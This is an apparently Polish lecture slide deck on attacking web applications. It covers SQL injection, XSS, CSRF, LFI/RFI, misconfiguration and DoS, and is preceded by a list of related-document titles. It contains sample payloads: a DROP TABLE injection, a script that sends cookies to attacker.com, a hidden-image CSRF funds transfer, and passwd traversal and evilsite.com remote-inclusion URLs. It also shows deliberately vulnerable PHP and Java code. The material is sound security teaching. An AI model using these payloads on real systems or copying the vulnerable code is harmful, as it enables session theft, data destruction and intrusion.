Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW



Podobne dokumenty
Drobne błędy w portalach WWW

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

HTTP W 5-CIU PYTANIACH MICHAŁ KOPACZ

XML-RPC: Zdalne wykonywanie procedur

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

The OWASP Foundation Session Management. Sławomir Rozbicki.

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Bezpieczeństwo aplikacji internetowych

Aspekty bezpieczeństwa aplikacji internetowych

Technologie internetowe

Programowanie w Internecie

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Technologie sieciowe Sprawozdanie z labolatorium. Lista 5

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Programowanie Sieciowe 2 Protokoły komunikacyjne: HTTP

Bezpieczeństwo systemów komputerowych

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet


INSTYTUT IMMUNOLOGII I TERAPII DOŚWIADCZALNEJ im. Ludwika Hirszfelda Polska Akademia Nauk

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Raport z Testów Penetracyjnych XXXXX

Aplikacje WWW - laboratorium

Protokół HTTP 1.1 *) Wprowadzenie. Jarek Durak. rfc2616 źródło

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Projektowani Systemów Inf.

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Politechnika Gdańska Wydział Elektrotechniki i Automatyki Kierunek: Automatyka i Robotyka Studia stacjonarne I stopnia: rok I, semestr II

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Aplikacje webowe z wykorzystaniem Node.js oraz Express

HTTP. literatura:

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

OWASP. The Open Web Application Security Project. OWASP Top rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach

Aplikacje internetowe - laboratorium

Internetowe bazy danych

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Sieciowe systemy informacyjne

Aplikacje webowe. mgr inż. Aleksander Smywiński-Pohl. Elektroniczne Przetwarzanie Informacji

Program szkolenia: Bezpieczny kod - podstawy

Kurs rozszerzony języka Python

Aplikacje WWW - laboratorium

Uwierzytelnianie HTTP

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Języki programowania wysokiego poziomu WWW

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa

Wybrane działy Informatyki Stosowanej

PHP. Tematyka wykładów: Język PHP PHP i bazy danych Rozszerzenia PHP

Laboratorium 1 Wprowadzenie do PHP

Referat z przedmiotu Technologie Internetowe SPIS TREŚCI

Programowanie w Internecie

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Healthix Consent Web-Service Specification

INSTRUKCJA INSTALACJI DATAMOBILE. Ver. 1.3

Architektura CORBA. Przegląd technologii dla komponentowych,, rozproszonych aplikacji internetowych J2EE

Gatesms.eu Mobilne Rozwiązania dla biznesu

Zaawansowane aplikacje internetowe

SEO Audyt. Podsumowanie. 51/100 punktów. Masz 11 rzeczy, które możesz poprawić! Uzyskany wynik: Data przeprowadzenia: :33:47

ATAKI TYPU CROSS-SITE SCRIPTING

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Szczegółowy opis zamówienia:

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4

HTTP, CGI, Perl. HTTP HyperText Transfer Protocol. CGI Common Gateway Interface. Perl Practical Extraction and Report Language

Źródła. cript/1.5/reference/ Ruby on Rails: AJAX: ssays/archives/

LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska

Typy przetwarzania. Przetwarzanie zcentralizowane. Przetwarzanie rozproszone

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Bazy danych i usługi sieciowe

Powinieneś wiedzieć... Powinieneś znać podstawy języka i środowiska

I.Wojnicki, Tech.Inter.

Analiza malware'u SandroRAT_sec Kaspersky_Mobile_Security.apk

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

1 90 min. Aplikacje WWW Harmonogram spotkań, semestr zimowy (studia stacjonarne)

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A.

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Artykuł opublikowany w numerze 1/2004 magazynu Hakin9

Ślady w sieci. Piotr Kucharski. Społeczeństwo informacyjne, Szkoła Główna Handlowa indeks Logi. Zagrożenia i ucieczki Podsumowanie

Przykład programu w PHP. Wykład10.PHP ciągdalszy,str.1

Kurs WWW. Paweł Rajba

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Bezpieczeństwo aplikacji. internetowych. 2. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP

Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami

Aplikacje WWW. Wykład 4. Protokół HTTP. wykład prowadzi: Maciej Zakrzewicz. Protokół HTTP

Języki i narzędzia programowania III. Łukasz Kamiński Wykład I

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Wojciech Kaczmarski

ZESZYTY ETI ZESPOŁU SZKÓŁ W TARNOBRZEGU Nr 2 Seria: Teleinformatyka 2013

CGI i serwlety. Plan wykładu. Wykład prowadzi Mikołaj Morzy. Przykład: serwlety vs. szablony. Implementacja logiki prezentacji

Snifery wbudowane w Microsoft Windows

Podstawy implementacji usług sieciowych OGC

Aplikacje internetowe

Bazy Danych i Usługi Sieciowe

Problemy z uwierzytelnianiem HTTP

Transkrypt:

Ataki na aplikacje WWW Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Ataki na aplikację Ataki na przeglądarkę Ataki na serwer WWW/kontener, etc. Często kombinacja i wiele etapów

Którędy do środka GET Parametry GET POST HTTP headers and cookies Upload plików Logika aplikacji

GET http://example.com/index.php? lang=pl&cat=2&sidebar=yes&jsessio NID=34F0A...

POST http://127.0.0.1/pass.php POST /pass.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml Accept-Language: en- US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/pass.php Cookie: passx=87e8af376bc9d9bfec2c7c0193e6af70; PHPSESSID=l9hk7mfh0ppqecg8gialak6gt5 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=zurfyx&pass=password

POST HTTP/1.1 302 Found Date: Sun, 27 Jan 2013 19:26:17 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: user=zurfyx Set-Cookie: pass=8f9a9ae93912ed Location: index.php Content-Length: 232 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html

Którędy do środka Nagłówki HTTP Cookies Upload plików Logika aplikacji

Którędy do środka JavaScript Web Services API DNS Poczta

Injection SQL Injection XML Injection XPath Injection Code Injection LDAP Injection ORM Injection IMAP/SMTP Injection

SQL Injection $q = mysql_query("select * FROM uzytkownicy WHERE uzytkownik = '$uzytkownik'"); Użytkownik: x' OR '1'='1 x';drop TABLE uzytkownicy; SELECT '1

Uwierzytelnianie i zarządzanie sesją Co to jest sesja i dlaczego ciastko to za mało? Jak ukraść sesję Sniffing XSS Kradzież z systemu klienta Z paska przeglądarki Zgadywanie/przewidywanie Kolizja

Cross-Site Scripting (XSS) <script>alert("xss")</script> Stored (persistent) XSS Reflective (non-persistent) XSS DOM based XSS

Cross-Site Scripting (XSS) Stored XSS Zostawiamy skrypt na serwerze Wypełnienie formularza Fora dyskusyjne Komentarze

Cross-Site Scripting (XSS) Reflected XSS Serwer przetwarza parametry żądania Zwraca gdzieś na stronie wartość parametru Czy aż tak groźny? Wymaga zazwyczaj podłożenia złośliwego linka

Cross-Site Scripting (XSS) Przykład XSS Kod aplikacji: (String) page += "<input name='creditcard' type='text' value='" + request.getparameter("cc") + "'>"; Parametr CC: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'

Cross-Site Scripting (XSS) DOM based XSS Kod strony: <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length )); </SCRIPT> <BR> Welcome to our system </HTML>

Cross-Site Scripting (XSS) Spodziewane żądanie http://www.vuln.site/welcome.html?name=joe Podstawione żądanie http://www.vuln.site/welcome.html?name= <script>alert(document.cookie)</script>

Cross-Site Request Forgery (CSRF) Wykonanie operacji przez przeglądarkę w imieniu zalogowanego użytkownika Przykład: skłonienie do kliknięcia w spreparowany link podczas sesji <img src="http://example.com/app/transferfunds? amount=1500&destinationaccount= attackersacct#" width="0" height="0" />

Cross-Site Request Forgery (CSRF) Raczej dla żądań typu GET Atak na POST możliwy zazwyczaj JavaScript Ochrona Tokeny BHP pracy z przeglądarką Captcha/Logowanie przy operacjach krytycznych

Dziury w komponentach Czekamy i drżymy PHP, JEE, ASP.NET, etc. CRM JavaScript Usługi pomocnicze

Dziury w komponentach Odays OSVDB CVS

LFI/RFI Local File Inclusion Remote File Inclusion

LFI <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); }?> http://example.com/index.php?file=contactus.php http://example.com/index.php?file=../../../../etc/passwd

RFI <?php $file = $_GET['file']; if(isset($file)) { include("$file"); } else { include("index.php"); }?> http://example.com/index.php?file=contactus.php http://example.com/index.php? file=http://evilsite.com/malicoiuspage.php

Błędy konfiguracji Panel administracyjny zabezpieczony? Listing katalogu zabroniony? Wyłączony tryb "debug"? Obsługa błędów? Przykładowe aplikacje? Niepodlinkowane zasoby? Czy wszystkie zasoby mają ACL/autoryzację?

Wyciek danych TLS Dane wrażliwe Numery kart kredytowych szyfrowane? Hasła haszowane? Hasła solone? Jakie algorytmy stosowane Gdzie klucze prywatne?

Usługi pomocnicze DNS FTP SSH Bazy danych Panele administracyjne

Logika aplikacji Zależne od budowy aplikacji Klasyka Password Recovery/Reset

DoS TCP/IP Serwer WWW TLS Aplikacja

Z pudełka czy własne? Które bezpieczniejsze?

Pytania